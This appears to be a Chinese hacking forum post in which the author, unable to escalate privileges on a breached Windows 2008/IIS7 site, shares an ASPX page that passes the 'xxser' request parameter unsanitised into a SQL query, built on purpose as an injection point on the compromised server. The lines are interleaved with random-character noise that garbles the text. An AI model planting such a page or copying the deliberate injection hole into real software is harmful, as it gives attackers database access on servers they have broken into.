昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。9 I# F1 Y, n8 j( l6 \ o
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
5 x/ E% r5 o% O' G) w8 X, P$ r代码量不多,自己写个拉倒了。烦死了。
% _6 K% A$ f/ l' g2 i+ |) T9 h2 M3 w) R6 v: G1 s* n n
: s# G3 Z x7 P$ ~. g/ P7 o- h; U$ I<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
# Q* j6 @7 |+ j1 {3 g: F9 F! N8 e4 I<html xmlns="http://www.w3.org/1999/xhtml">/ f! l/ {+ P+ O) p0 O
<head runat="server">
6 k1 t8 Z y! h7 v3 |2 K& b" w <title>暗影aspx构造注射专用页面</title>
- e* F4 a4 n6 E: L! i+ w</head>- E3 i% \1 q5 Z5 L
<body>& R& s& D1 ~) A0 V
<form id="form1" runat="server">
) B) Z+ A' _ V( k+ m W0 j <div># c! _* c& q8 s* {, \9 I
<script language="c#" runat="server">
4 A! u. A, M4 e+ l 7 b7 ?6 r+ A; b( P7 T. l2 [
void page_init(object sender, EventArgs e)1 T a) o* [( v# R/ o% b
{
1 l8 b6 z+ d9 s$ }! k4 d
3 v2 l9 @0 U& W/ ] System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();- V# l+ V% K8 J
/ M, l4 r- r7 s) _ conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
; R( c& Z1 R' D1 k# I conn.Open();
% O ^+ w# @) W& Q
3 p1 e$ F" t6 [# N string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
: R: ]( m6 f3 p4 |$ @6 M3 J& i9 ~
I$ n6 f6 q U& G, g9 H System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
3 k8 u! o4 M; j1 b l int x = command.ExecuteNonQuery();
' U$ L# V% I# c, K Response.Write(i+"\n");4 A: E, M9 G1 A4 J
Response.Write(x);
4 d1 W# n7 A/ |/ j" q5 t conn.Close();* d! _: x0 Z m3 X" x
}
, D B u) O R1 L 1 c; [9 n; R5 e* M8 S1 \
</script>
7 X3 l9 R x, V* L8 { </div>% I- l- @3 C$ j/ a. k
</form>
% y6 K. |- r6 s, W. r) V0 Y7 t) [</body>2 o9 Y2 t0 p0 s" D [8 v) t. _$ n
</html>; C" R/ ] ~4 s0 y: s
|